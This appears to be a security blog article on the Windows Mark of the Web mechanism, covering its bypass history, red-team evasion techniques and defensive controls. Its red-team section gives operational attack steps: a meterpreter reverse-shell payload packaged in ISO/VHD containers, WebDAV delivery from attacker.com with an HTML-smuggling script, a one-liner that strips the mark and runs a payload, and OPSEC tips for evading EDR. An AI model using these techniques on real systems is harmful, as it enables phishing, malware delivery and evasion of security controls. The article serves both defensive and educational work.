Estimated reading time: 17 minutes
01 // What Is Mark of the Web?
Mark of the Web is a Windows security feature that dates to Internet Explorer 6 and has evolved into one of the most critical gatekeeping mechanisms in the modern Windows security model. At its core, MoTW is a simple concept: when a file arrives from an untrusted source, a browser download, an email attachment, or a file transfer from the internet, Windows stamps that file with metadata indicating its origin.
This stamp takes the form of an NTFS Alternate Data Stream (ADS) named Zone.Identifier, attached to the file on disk. The stream contains a [ZoneTransfer] block that records the Zone ID, referrer URL, and host URL. This tiny piece of metadata then drives downstream security decisions across the entire Windows ecosystem, from SmartScreen and UAC to Office Protected View and Windows Defender Application Control (WDAC).
1.1 — The Zone.Identifier Stream
The actual on-disk format of MoTW is straightforward. Here is what the stream looks like when inspected via PowerShell:
PS C:\Users\Analyst> Get-Item .\payload.docm -Stream * PSPath : Microsoft.PowerShell.Core\FileSystem::C:\payload.docm PSChildName : payload.docm::$DATA Length : 28672 PSChildName : payload.docm:Zone.Identifier Length : 123 PS C:\Users\Analyst> Get-Content .\payload.docm -Stream Zone.Identifier [ZoneTransfer] ZoneId=3 ReferrerUrl=https://attacker.com/payload.docm HostUrl=https://attacker.com/payload.docm
1.2 — Zone IDs: The Full Reference
The ZoneId value maps to one of five Internet Security Zones defined in Windows. Zone 3 is the critical value that triggers all downstream restrictions:
┌──────────┬─────────────────────────────────────────────┐ │ ZoneId=0 │ Local Machine (My Computer) │ │ ZoneId=1 │ Local Intranet │ │ ZoneId=2 │ Trusted Sites │ │ ZoneId=3 │ Internet ◄── MoTW applied here │ │ ZoneId=4 │ Restricted Sites │ └──────────┴─────────────────────────────────────────────┘
Zone 0 files are treated as if they originated locally as no restrictions apply. Zone 2 and Zone 1 receive lighter treatment. Only Zone 3 triggers the full SmartScreen + Protected View + UAC stack.
02 // How MoTW Gets Applied
MoTW is applied at the point of file creation or download. Multiple Windows components are responsible for writing the Zone.Identifier stream depending on how the file entered the system:
| Source / Mechanism | MoTW Applied By |
|---|---|
| Browser download (Chrome, Edge, Firefox) | Browser via IAttachmentExecute COM API |
| Outlook email attachment saved to disk | Outlook / Windows Shell |
| ZIP extraction (Windows Explorer) | Explorer (Win11 22H2+ propagates to contents) |
| ISO / VHD mount (Windows Explorer) | Explorer applies to container only |
| curl / wget (PowerShell) | PowerShell 3.0+ via IAttachmentExecute |
| SMB / UNC file copy | NOT applied — network share bypass |
| USB / physical media | NOT applied — local filesystem |
| 7-Zip / WinRAR extraction | NOT propagated — third-party tools bypass |
2.1 — The Propagation Problem
A critical and historically exploited nuance: MoTW is applied to the container (the ZIP, ISO, etc.) but not necessarily propagated to its contents when extracted. Microsoft patched ZIP propagation in Windows 11 22H2 (October 2022), but the following container types still do not propagate MoTW to their extracted contents as of 2026:
- ISO disk images (.iso)
- .img files
- Virtual hard disks (.vhd / .vhdx)
- 7-Zip archives extracted via 7z.exe or 7-Zip GUI
- WinRAR archives (prior to patched versions)
03 // How Windows Consumes MoTW
MoTW is not a standalone control, it is an input that feeds multiple security subsystems. Understanding each consumer is essential for both defenders and red teamers.
3.1 — SmartScreen Application Reputation
Windows SmartScreen checks ZoneId=3 files against Microsoft’s cloud reputation database before execution. Unsigned or low-reputation binaries receive a blocking warning. Signed files from well-established publishers may pass silently. Without MoTW, SmartScreen does not trigger at all.
3.2 — Microsoft Office Protected View
Office documents with MoTW open in Protected View, a sandboxed rendering environment where macros are completely disabled:
┌────────────────────────────────────────────────────────────────┐ │ Microsoft Word — Protected View │ ├────────────────────────────────────────────────────────────────┤ │ ⚠ PROTECTED VIEW Be careful. Files from the Internet can │ │ contain viruses. Unless you need to edit, it's safer to │ │ stay in Protected View. [ Enable Editing ] │ ├────────────────────────────────────────────────────────────────┤ │ (document content rendered read-only, macros DISABLED) │ │ │ │ [Macro content blocked — Zone.Identifier ZoneId=3 detected] │ └────────────────────────────────────────────────────────────────┘
Protected View is specifically triggered by ZoneId=3. A document without MoTW opens in full edit mode with macro execution available. This is precisely why container-based bypasses were so effective for phishing campaigns delivering malicious Office documents.
3.3 — User Account Control (UAC)
Executables with MoTW that request elevation receive additional friction: the UAC dialog displays “Unknown Publisher” in amber/orange rather than the standard prompt. This creates social engineering friction for attackers delivering signed but low-reputation binaries.
3.4 — The Full MoTW Decision Flow
INTERNET / UNTRUSTED SOURCE
┌─────────────────────────────────────────────────────────┐
│ Browser Download │ Email Attachment │ USB/ISO │
└──────────┬──────────────────┬───────────┬──────────────┘
│ │ │
▼ ▼ ▼
┌─────────────────────────────────────────────────────────┐
│ NTFS Alternate Data Stream │
│ Zone.Identifier :$DATA │
│ │
│ [ZoneTransfer] │
│ ZoneId=3 │
│ ReferrerUrl=https://attacker.com/payload.zip │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ Windows Security Checks │
│ │
│ SmartScreen ──► File Reputation Check │
│ UAC Prompt ──► "Unknown Publisher" warning │
│ Office ──► Protected View (macros disabled) │
│ Mark of Web ──► Applied to extracted archive contents │
└─────────────────────────────────────────────────────────┘
04 // Inspecting MoTW — Analyst Reference
4.1 — PowerShell Commands
# Check if a file has MoTW Get-Item .\payload.docm -Stream * # Read the Zone.Identifier content Get-Content .\payload.docm -Stream Zone.Identifier # Remove MoTW (Unblock-File) Unblock-File -Path .\payload.docm # Bulk check — find all MoTW-tagged files in a directory Get-ChildItem C:\Users\User\Downloads -Recurse | Where-Object { (Get-Item $_.FullName -Stream * | Select-Object -ExpandProperty Stream) -contains 'Zone.Identifier' }
4.2 — Sysinternals Streams
# Sysinternals Streams utility — enumerate all ADS streams.exe -s C:\Users\User\Downloads\ # Output example: C:\Users\User\Downloads\payload.iso: :Zone.Identifier:$DATA 127 # Remove all ADS (including MoTW) from a file streams.exe -d payload.iso
05 // Real-World Exploitation History
MoTW bypasses have been central to some of the most impactful phishing and initial access campaigns in recent years. The following CVEs and threat actor patterns demonstrate how pervasive this abuse has become:
| CVE / Campaign | Bypass Technique |
|---|---|
| CVE-2022-41049 Windows | ZIP files did not propagate MoTW to extracted files (patched Oct 2022) |
| CVE-2022-44698 SmartScreen | Crafted .url files with UNC handler bypassed MoTW SmartScreen check |
| CVE-2023-24880 SmartScreen | Malformed Authenticode signature bypassed SmartScreen on MoTW files |
| Qakbot / QBot (2022) | ISO + LNK delivery — ISO MoTW not propagated to embedded LNK |
| Emotet (2022 revival) | XLS attachments in ISO containers to bypass Protected View |
| Magniber Ransomware | Malformed .appx and .msix files bypassed SmartScreen MoTW checks |
| TA570 / TA577 | ISO + DLL sideloading — DLL inside ISO had no MoTW |
| BumbleBee Loader | ISO + LNK combo — consistent MoTW evasion for loader delivery |
06 // Red Team Evasion Techniques
The following techniques are documented for authorized red team engagements only.
All testing must be performed within the scope of a signed Rules of Engagement (ROE).
These techniques mirror real-world threat actor TTPs mapped to MITRE ATT&CK T1553.005.
6.1 — ISO / IMG Container Delivery
The most widely adopted MoTW bypass technique used in the wild. By delivering a payload inside an ISO disk image, the container receives MoTW but the contents when mounted via Windows Explorer do not. This completely removes Office Protected View and SmartScreen for files inside the ISO.
ATTACKER WORKFLOW — ISO Container Bypass 1. Create payload: msfvenom -p windows/x64/meterpreter/reverse_https ... 2. Create ISO: mkisofs -o payload.iso payload.lnk OR (Windows): New-IsoFile -Path payload.lnk -Destination payload.iso 3. Deliver via HTTP: victim downloads payload.iso ← MoTW applied to .iso 4. Victim mounts: Double-click ISO → mounts as drive letter (e.g. E:\) RESULT: E:\payload.lnk has NO Zone.Identifier stream Windows Explorer shows no security warning LNK executes payload without SmartScreen prompt PS> Get-Item E:\payload.lnk -Stream * # Only ::$DATA stream present — Zone.Identifier ABSENT
MITRE ATT&CK: T1553.005 — Mark-of-the-Web Bypass
Payload options: LNK → PowerShell cradle, DLL sideloading, MSI installer, EXE
Tools: mkisofs (Linux), oscdimg.exe (Windows ADK), PowerShell New-ISOFile module
Pair with: HTML smuggling delivery (ISO downloaded via JS blob), phishing lure as invoice/receipt
EDR note: Mounting ISO from Downloads generates process creation events, blend with signed binary
Best combo: ISO + LNK + LOLBin (mshta.exe, regsvr32.exe, wscript.exe) for clean execution chain
6.2 — VHD / VHDX Virtual Disk Delivery
Virtual Hard Disk files behave identically to ISOs for MoTW purposes. Windows mounts them as drive letters and does not propagate the Zone.Identifier to contained files. Slightly less common in the wild than ISO but equally effective.
# Create a VHD containing payload (PowerShell) $vhd = New-VHD -Path C:\payload.vhdx -SizeBytes 50MB -Dynamic Mount-VHD -Path C:\payload.vhdx # Add payload files to mounted VHD drive letter Copy-Item .\payload.lnk 'E:\' Dismount-VHD -Path C:\payload.vhdx # Result: payload.lnk inside VHDX has no Zone.Identifier when mounted
6.3 — WebDAV / UNC Path Delivery
Files accessed via UNC paths (\\server\share\file.exe) are treated as network share resources, not internet downloads. Windows does not apply MoTW to files accessed via SMB or WebDAV. This makes WebDAV-hosted payloads a reliable bypass when direct-download detection is high.
# Attacker side — serve files over WebDAV pip install wsgidav wsgidav --host=0.0.0.0 --port=80 --root=/srv/payloads --auth=anonymous # Phishing lure references UNC path in HTML smuggling or document # \\attacker.com\share\payload.exe RESULT: Files accessed via UNC/WebDAV DO NOT receive MoTW (UNC paths treated as network shares, not Internet downloads) # Delivery via HTML smuggling with UNC reference: <script> var link = document.createElement('a'); link.href = 'file://attacker.com/share/payload.exe'; link.click(); </script>
Requires: Target must be able to reach attacker’s WebDAV server (TCP 80/443)
Tools: wsgidav (Python), Impacket smbserver.py, Metasploit auxiliary/server/webdav
OPSEC: Use HTTPS WebDAV (port 443) to blend with normal web traffic
Detection: Unusual WebDAV connections in proxy logs; net use events in Windows Security log
Pair with: Cobalt Strike Scripted Web Delivery (UNC delivery option)
6.4 — Container Propagation Reference
CONTAINER BYPASS COMPARISON ┌──────────────────┬─────────────┬───────────────────────────┐ │ Container Type │ MoTW on Cnt │ MoTW Propagates to Files? │ ├──────────────────┼─────────────┼───────────────────────────┤ │ .zip (standard) │ YES │ YES (Windows 11 22H2+) │ │ .zip (old Win10) │ YES │ NO ← bypass │ │ .iso │ YES │ NO ← bypass │ │ .img │ YES │ NO ← bypass │ │ .vhd / .vhdx │ YES │ NO ← bypass │ │ .7z │ YES │ NO ← bypass │ │ .rar (WinRAR) │ SOMETIMES │ NO ← bypass (pre-patch) │ └──────────────────┴─────────────┴───────────────────────────┘ * Microsoft patched ZIP propagation in Win11 22H2 (Oct 2022) * ISO/VHD mounts via Windows Explorer never propagate MoTW
6.5 — Stripping MoTW Post-Delivery
If the payload has already landed on disk with MoTW applied, stripping the Zone.Identifier ADS before execution removes all downstream restrictions. This requires write access to the file and generates minimal log footprint.
# Strip MoTW from a file (requires access to filesystem) # PowerShell — remove Zone.Identifier stream Unblock-File -Path .\payload.docm # Alternatively via streams Remove-Item .\payload.docm -Stream Zone.Identifier # CMD equivalent (copy to non-NTFS strips all ADS) more < payload.docm > clean_payload.docm # One-liner: strip then execute Unblock-File $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe # Verification — confirm MoTW is gone Get-Item .\payload.docm -Stream * # Should show ONLY ::$DATA — no Zone.Identifier
Use case: Payload staged via download cradle to disk — strip before execution
OPSEC: Unblock-File generates no Windows event log by default, very low detection risk
Alternative: Copy to non-NTFS location (FAT32 USB, network share), ADS stripped automatically
EDR: Some EDR products hook ADS modification. Test in lab before deployment
6.6 — Malformed Authenticode (CVE-2023-24880 Class)
A class of SmartScreen bypasses involves crafting PE files with malformed or specially structured Authenticode signatures. SmartScreen’s signature verification fails open for certain malformed states so the file passes the reputation check despite not having a valid trusted signature. Magniber ransomware exploited this pattern extensively before Microsoft’s patch in March 2023.
# Concept: Append junk data to Authenticode signature block # SmartScreen fails to parse signature → skips reputation check # SmartScreen reads Authenticode → parse error → defaults to 'signed' state # MoTW is present (ZoneId=3) but SmartScreen skips cloud lookup # Result: file executes without SmartScreen warning # Patched in: KB5023706 (March 2023 Patch Tuesday) # Unpatched systems: Windows 10 21H2 and earlier without March 2023 CU # Tool: MSIX/APPX packaging with invalid signature structure # Tool: Custom PE manipulation (pefile Python library)
07 // Detection & Defense
The following controls significantly raise the cost of MoTW bypass for attackers.
Defense-in-depth is required. No single control covers all bypass variants.
Highest-value single control: disable ISO/VHD auto-mount via Group Policy.
| Defense Control | Mitigates |
|---|---|
| Disable ISO/VHD auto-mount via Group Policy | ISO/VHD container bypass (most impactful single control) |
| ASR Rule: Block Office child processes | LNK/macro execution post-MoTW bypass |
| ASR: Block untrusted/unsigned processes from USB | USB-delivered payloads without MoTW |
| Enable Protected View for all zones (not just Zone 3) | MoTW-stripped Office documents |
| WDAC policy requiring signed executables | Unsigned payload execution regardless of MoTW |
| Block outbound WebDAV/SMB at perimeter | UNC/WebDAV payload delivery |
| MDE: Alert on Zone.Identifier ADS removal | Post-landing ADS strip attempts |
| Apply Patch Tuesday monthly (no exceptions) | CVE-class SmartScreen bypasses |
| Hunt: ISO/VHD mounts from Downloads folder | Container-based delivery detection |
7.1 — KQL Detection Query (Microsoft Defender for Endpoint)
// Detect ISO/VHD files mounted from user download locations DeviceProcessEvents | where FileName =~ 'explorer.exe' | where ProcessCommandLine has_any ('.iso', '.img', '.vhd', '.vhdx') | where ProcessCommandLine has_any ('Downloads', 'Temp', 'AppData') | project Timestamp, DeviceName, AccountName, ProcessCommandLine | order by Timestamp desc // Hunt for LNK execution from mounted drive letters (non-C:) DeviceProcessEvents | where InitiatingProcessFileName =~ 'explorer.exe' | where FolderPath matches regex @'^[D-Z]:\\' | where FileName has_any ('cmd.exe','powershell.exe','mshta.exe','wscript.exe') | project Timestamp, DeviceName, AccountName, FolderPath, FileName
08 // MITRE ATT&CK Mapping
| Technique ID | Description |
|---|---|
| T1553.005 | Subvert Trust Controls: Mark-of-the-Web Bypass |
| T1566.001 | Phishing: Spearphishing Attachment (MoTW bypass delivery) |
| T1027.006 | Obfuscated Files: HTML Smuggling (used for ISO delivery) |
| T1218.011 | System Binary Proxy Execution: Rundll32 (post-bypass execution) |
| T1218.005 | System Binary Proxy Execution: Mshta (post-bypass execution) |
| T1204.002 | User Execution: Malicious File (victim mounts ISO, clicks LNK) |
| T1140 | Deobfuscate/Decode Files (ADS strip post-landing) |
09 // Conclusion
Mark of the Web remains one of the most impactful and most abused security mechanisms in Windows. Its reliance on NTFS ADS creates inherent blind spots. Any container format that Windows mounts without propagating the stream is a potential bypass vector. The 2022 surge in ISO-based phishing campaigns was a direct consequence of this architectural limitation.
For red teams, MoTW bypass via ISO/VHD delivery remains the most reliable and lowest-friction technique for bypassing Office Protected View and SmartScreen as of early 2026, particularly against unpatched or misconfigured endpoints. WebDAV delivery offers an alternative when container formats are monitored or blocked.
For defenders, the highest-value single control is disabling ISO/VHD auto-mount via Group Policy, supplemented by Attack Surface Reduction rules and monthly patching. No bypass technique covered in this article survives a fully enforced WDAC policy requiring trusted code signing if your organization can deploy it, do so.
MoTW lives in an NTFS ADS (Zone.Identifier) It only exists on NTFS volumes
ISO/VHD mounts remain the most reliable MoTW bypass as of 2026
Unblock-File (PowerShell) strips MoTW silently with minimal log footprint
Defender priority: Disable ISO auto-mount + ASR rules + WDAC for full coverage
Every major threat actor delivering via phishing (Qakbot, Emotet, BumbleBee) abused MoTW